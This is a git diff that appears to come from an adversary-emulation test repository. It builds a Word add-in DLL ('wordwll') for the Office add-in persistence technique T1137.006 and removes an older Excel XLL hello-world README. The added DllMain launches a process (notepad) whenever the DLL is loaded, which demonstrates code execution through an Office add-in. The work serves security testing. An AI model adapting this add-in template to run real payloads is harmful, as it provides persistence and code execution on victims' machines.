Dependencies. -- In stdafx.h, add the following lines at the end of the file: -```c -#include -#include "xlcall.h" -``` -- In HelloWorldXll.cpp add the following lines at the end of the file: -```c -short __stdcall xlAutoOpen() -{ - char *text= "Hello world"; - size_t text_len = strlen(text); - XLOPER message; - message.xltype = xltypeStr; - message.val.str = (char *)malloc(text_len + 2); - memcpy(message.val.str + 1, text, text_len + 1); - message.val.str[0] = (char)text_len; - XLOPER dialog_type; - dialog_type.xltype = xltypeInt; - dialog_type.val.w = 2; - Excel4(xlcAlert, NULL, 2, &message, &dialog_type); - return 1; -} -``` -- In the Solution Explorer, right click the HelloWorldXll and select Add..New Item. -- In the Add New Item dialog, in the tree on the left, select Visual C++... Code. Then select Module-Definition File (.def). Set Name to "HelloWorldXll.def". Click Add. -- Change the contents of HelloWorldXll.def to: -``` -EXPORTS - xlAutoOpen -``` - -The solution is now ready to build and load using the instructions above. diff --git a/atomics/T1137.006/src/wordwll/wordwll.sln b/atomics/T1137.006/src/wordwll/wordwll.sln new file mode 100644 index 00000000..09876d1a --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.4.33122.133 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "wordwll", "wordwll\wordwll.vcxproj", "{224BEC9E-0E52-4718-A47F-D8BE31A400C3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|arm64 = Debug|arm64 + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|arm64 = Release|arm64 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|arm64.ActiveCfg = Debug|arm64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|arm64.Build.0 = Debug|arm64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|x64.ActiveCfg = Debug|x64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|x64.Build.0 = Debug|x64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|x86.ActiveCfg = Debug|Win32 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Debug|x86.Build.0 = Debug|Win32 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|arm64.ActiveCfg = Release|arm64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|arm64.Build.0 = Release|arm64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|x64.ActiveCfg = Release|x64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|x64.Build.0 = Release|x64 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|x86.ActiveCfg = Release|Win32 + {224BEC9E-0E52-4718-A47F-D8BE31A400C3}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {1AB94236-2120-44B9-8EF8-0FECAD2CFB2B} + EndGlobalSection +EndGlobal diff --git a/atomics/T1137.006/src/wordwll/wordwll/dllmain.cpp b/atomics/T1137.006/src/wordwll/wordwll/dllmain.cpp new file mode 100644 index 00000000..af8ab633 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/dllmain.cpp @@ -0,0 +1,30 @@ +#include "pch.h" +#include +#include + +BOOL APIENTRY DllMain(HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved +) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: { + //MessageBoxA(NULL, "aaa", "bbb", MB_OK); + system("start notepad.exe"); + + } + case DLL_THREAD_ATTACH: + system("start notepad.exe"); + case DLL_THREAD_DETACH: + system("start notepad.exe"); + case DLL_PROCESS_DETACH: { + system("start notepad.exe"); + break; } + } + return TRUE; +} + + + //WinExec("notepad.exe", SW_SHOWNORMAL); + //MessageBoxA(NULL, "test", "test", MB_OK); diff --git a/atomics/T1137.006/src/wordwll/wordwll/framework.h b/atomics/T1137.006/src/wordwll/wordwll/framework.h new file mode 100644 index 00000000..54b83e94 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/atomics/T1137.006/src/wordwll/wordwll/pch.cpp b/atomics/T1137.006/src/wordwll/wordwll/pch.cpp new file mode 100644 index 00000000..64b7eef6 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/atomics/T1137.006/src/wordwll/wordwll/pch.h b/atomics/T1137.006/src/wordwll/wordwll/pch.h new file mode 100644 index 00000000..885d5d62 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj similarity index 57% rename from atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj rename to atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj index 2252a3a1..a8bf5736 100644 --- a/atomics/T1137.006/src/HelloWorldXll/HelloWorldXll.vcxproj +++ b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj @@ -1,5 +1,5 @@ - - + + Debug @@ -17,37 +17,59 @@ Release x64 + + Debug + arm64 + + + Release + arm64 + - {0A5476B7-2700-4B0C-A72C-3054B5064E96} + 16.0 Win32Proj - HelloWorldXll - 8.1 + {224bec9e-0e52-4718-a47f-d8be31a400c3} + wordwll + 10.0 DynamicLibrary true - v140 + v143 Unicode DynamicLibrary false - v140 + v143 true Unicode DynamicLibrary true - v140 + v143 Unicode DynamicLibrary false - v140 + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 true Unicode @@ -68,122 +90,130 @@ + + + + + + - - true - - - true - .xll - - - false - - - false - .xll - - Use Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) true + WIN32;_DEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h Windows true - HelloWorldXll.def - - - - - Use - Level3 - Disabled - _DEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) - true - C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE;%(AdditionalIncludeDirectories) - - - Windows - true - C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB;%(AdditionalDependencies) - HelloWorldXll.def + false Level3 - Use - MaxSpeed true true - WIN32;NDEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) true + WIN32;NDEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h Windows true true true - HelloWorldXll.def + false + + + + + Level3 + true + _DEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false Level3 - Use - MaxSpeed true true - NDEBUG;_WINDOWS;_USRDLL;HELLOWORLDXLL_EXPORTS;%(PreprocessorDefinitions) true - C:\2010 Office System Developer Resources\Excel2010XLLSDK\INCLUDE;%(AdditionalIncludeDirectories) + NDEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h Windows true true true - C:\2010 Office System Developer Resources\Excel2010XLLSDK\LIB\x64\XLCALL32.LIB;%(AdditionalDependencies) - HelloWorldXll.def + false + + + + + Level3 + true + _DEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;WORDWLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false - + + - - - - - - false - - - false - - - false - - - false - - - - - - Create + + Create + Create + Create Create + Create Create - - - diff --git a/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.filters b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.filters new file mode 100644 index 00000000..1e57c7b1 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.user b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/atomics/T1137.006/src/wordwll/wordwll/wordwll.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file